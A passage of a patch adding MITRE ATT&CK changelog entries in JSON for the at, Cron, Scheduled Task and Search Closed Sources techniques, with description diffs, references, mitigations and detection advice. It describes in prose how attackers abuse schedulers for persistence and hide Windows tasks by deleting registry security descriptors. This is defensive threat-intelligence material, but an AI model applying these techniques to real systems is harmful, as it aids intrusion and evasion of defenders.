>to use [at](https://attack.mitre.org/software/S0110).(Citati> username not listed in <code>at.deny</code> is allowed to i
>on: Linux at)  Adversaries may use [at](https://attack.mitre>nvoke [at](https://attack.mitre.org/software/S0110). If the 
>.org/software/S0110) to execute programs at system startup o><code>at.deny</code> exists and is empty, global use of [at]
>r on a scheduled basis for [Persistence](https://attack.mitr>(https://attack.mitre.org/software/S0110) is permitted. If n
>e.org/tactics/TA0003). [at](https://attack.mitre.org/softwar>either file exists (which is often the baseline) only the su
>e/S0110) can also be abused to conduct remote [Execution](ht>peruser is allowed to use [at](https://attack.mitre.org/soft
>tps://attack.mitre.org/tactics/TA0002) as part of [Lateral M>ware/S0110).(Citation: Linux at)  Adversaries may use [at](h
>ovement](https://attack.mitre.org/tactics/TA0008) and/or to >ttps://attack.mitre.org/software/S0110) to execute programs 
>run a process under the context of a specified account (such>at system startup or on a scheduled basis for [Persistence](
> as SYSTEM).  In Linux environments, adversaries may also ab>https://attack.mitre.org/tactics/TA0003). [at](https://attac
>use [at](https://attack.mitre.org/software/S0110) to break o>k.mitre.org/software/S0110) can also be abused to conduct re
>ut of restricted environments by using a task to spawn an in>mote [Execution](https://attack.mitre.org/tactics/TA0002) as
>teractive system shell or to run system commands. Similarly,> part of [Lateral Movement](https://attack.mitre.org/tactics
> [at](https://attack.mitre.org/software/S0110) may also be u>/TA0008) and/or to run a process under the context of a spec
>sed for [Privilege Escalation](https://attack.mitre.org/tact>ified account (such as SYSTEM).  In Linux environments, adve
>ics/TA0004) if the binary is allowed to run as superuser via>rsaries may also abuse [at](https://attack.mitre.org/softwar
> <code>sudo</code>.(Citation: GTFObins at)>e/S0110) to break out of restricted environments by using a 
 >task to spawn an interactive system shell or to run system c
 >ommands. Similarly, [at](https://attack.mitre.org/software/S
 >0110) may also be used for [Privilege Escalation](https://at
 >tack.mitre.org/tactics/TA0004) if the binary is allowed to r
 >un as superuser via <code>sudo</code>.(Citation: GTFObins at
 >)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-03 14:25:00.538000+00:00", + "modified": "2024-10-15 18:45:51.945000+00:00", + "name": "Cron", + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/003", + "external_id": "T1053.003" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Creation", + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false, \"root['x_mitre_remote_support']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 18:45:51.945000+00:00\", \"old_value\": \"2022-03-24 17:33:03.443000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-27 14:58:00.429000+00:00", + "modified": "2024-10-13 16:13:47.770000+00:00", + "name": "Scheduled Task", + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/005", + "external_id": "T1053.005" + }, + { + "source_name": "ProofPoint Serpent", + "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + }, + { + "source_name": "Defending Against Scheduled Task Attacks in Windows Environments", + "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.", + "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.", + "url": "https://x.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "Tarrask scheduled task", + "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" + }, + { + "source_name": "Microsoft Scheduled Task Events Win10", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "source_name": "Red Canary - Atomic Red Team", + "description": "Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.", + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + }, + { + "source_name": "SigmaHQ", + "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.", + "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml" + }, + { + "source_name": "Stack Overflow", + "description": "Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.", + "url": "https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Andrew Northern, @ex_raritas", + "Bryan Campbell, @bry_campbell", + "Zachary Abzug, @ZackDoesML", + "Selena Larson, @selenalarson", + "Sittikorn Sangrattanapitak" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "File: File Modification", + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Traffic Flow", + "Scheduled Job: Scheduled Job Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-13 16:13:47.770000+00:00\", \"old_value\": \"2023-11-15 14:33:53.354000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\\n\\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\\n\\nAdversaries may also create \\\"hidden\\\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \", \"old_value\": \"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\\n\\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\\n\\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\\n\\nAdversaries may also create \\\"hidden\\\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,4 @@\\n-Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\\n-\\n-The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\\n+Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\\n \\n An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\\n \"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.\", \"old_value\": \"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://x.com/leoloobeek/status/939248813465853953\", \"old_value\": \"https://twitter.com/leoloobeek/status/939248813465853953\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"Red Canary - Atomic Red Team\", \"description\": \"Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.\", \"url\": \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md\"}, \"root['external_references'][11]\": {\"source_name\": \"Stack Overflow\", \"description\": \"Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.\", \"url\": \"https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the Windows Task Scheduler to perform t1Adversaries may abuse the Windows Task Scheduler to perform 
>task scheduling for initial or recurring execution of malici>task scheduling for initial or recurring execution of malici
>ous code. There are multiple ways to access the Task Schedul>ous code. There are multiple ways to access the Task Schedul
>er in Windows. The [schtasks](https://attack.mitre.org/softw>er in Windows. The [schtasks](https://attack.mitre.org/softw
>are/S0111) utility can be run directly on the command line, >are/S0111) utility can be run directly on the command line, 
>or the Task Scheduler can be opened through the GUI within t>or the Task Scheduler can be opened through the GUI within t
>he Administrator Tools section of the Control Panel. In some>he Administrator Tools section of the Control Panel.(Citatio
> cases, adversaries have used a .NET wrapper for the Windows>n: Stack Overflow) In some cases, adversaries have used a .N
> Task Scheduler, and alternatively, adversaries have used th>ET wrapper for the Windows Task Scheduler, and alternatively
>e Windows netapi32 library to create a scheduled task.  The >, adversaries have used the Windows netapi32 library and [Wi
>deprecated [at](https://attack.mitre.org/software/S0110) uti>ndows Management Instrumentation](https://attack.mitre.org/t
>lity could also be abused by adversaries (ex: [At](https://a>echniques/T1047) (WMI) to create a scheduled task. Adversari
>ttack.mitre.org/techniques/T1053/002)), though <code>at.exe<>es may also utilize the Powershell Cmdlet `Invoke-CimMethod`
>/code> can not access tasks created with <code>schtasks</cod>, which leverages WMI class `PS_ScheduledTask` to create a s
>e> or the Control Panel.  An adversary may use Windows Task >cheduled task via an XML path.(Citation: Red Canary - Atomic
>Scheduler to execute programs at system startup or on a sche> Red Team)  An adversary may use Windows Task Scheduler to e
>duled basis for persistence. The Windows Task Scheduler can >xecute programs at system startup or on a scheduled basis fo
>also be abused to conduct remote Execution as part of Latera>r persistence. The Windows Task Scheduler can also be abused
>l Movement and/or to run a process under the context of a sp> to conduct remote Execution as part of Lateral Movement and
>ecified account (such as SYSTEM). Similar to [System Binary >/or to run a process under the context of a specified accoun
>Proxy Execution](https://attack.mitre.org/techniques/T1218),>t (such as SYSTEM). Similar to [System Binary Proxy Executio
> adversaries have also abused the Windows Task Scheduler to >n](https://attack.mitre.org/techniques/T1218), adversaries h
>potentially mask one-time execution under signed/trusted sys>ave also abused the Windows Task Scheduler to potentially ma
>tem processes.(Citation: ProofPoint Serpent)  Adversaries ma>sk one-time execution under signed/trusted system processes.
>y also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts>(Citation: ProofPoint Serpent)  Adversaries may also create 
>](https://attack.mitre.org/techniques/T1564)) that may not b>\"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://atta
>e visible to defender tools and manual queries used to enume>ck.mitre.org/techniques/T1564)) that may not be visible to d
>rate tasks. Specifically, an adversary may hide a task from >efender tools and manual queries used to enumerate tasks. Sp
>`schtasks /query` and the Task Scheduler by deleting the ass>ecifically, an adversary may hide a task from `schtasks /que
>ociated Security Descriptor (SD) registry value (where delet>ry` and the Task Scheduler by deleting the associated Securi
>ion of this value must be completed using SYSTEM permissions>ty Descriptor (SD) registry value (where deletion of this va
>).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adve>lue must be completed using SYSTEM permissions).(Citation: S
>rsaries may also employ alternate methods to hide tasks, suc>igmaHQ)(Citation: Tarrask scheduled task) Adversaries may al
>h as altering the metadata (e.g., `Index` value) within asso>so employ alternate methods to hide tasks, such as altering 
>ciated registry keys.(Citation: Defending Against Scheduled >the metadata (e.g., `Index` value) within associated registr
>Task Attacks in Windows Environments) >y keys.(Citation: Defending Against Scheduled Task Attacks i
 >n Windows Environments) 
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:01:42.558000+00:00", + "modified": "2024-10-04 13:12:14.469000+00:00", + "name": "Search Closed Sources", + "description": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1597", + "external_id": "T1597" + }, + { + "source_name": "ZDNET Selling Data", + "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.", + "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Barbara Louis-Sidney (OWN-CERT)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Barbara Louis-Sidney (OWN-CERT)\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-04 13:12:14.469000+00:00\", \"old_value\": \"2021-04-15 03:45:31.020000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\\n\\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\", \"old_value\": \"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\\n\\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\\n+Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\\n \\n Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_removed\": 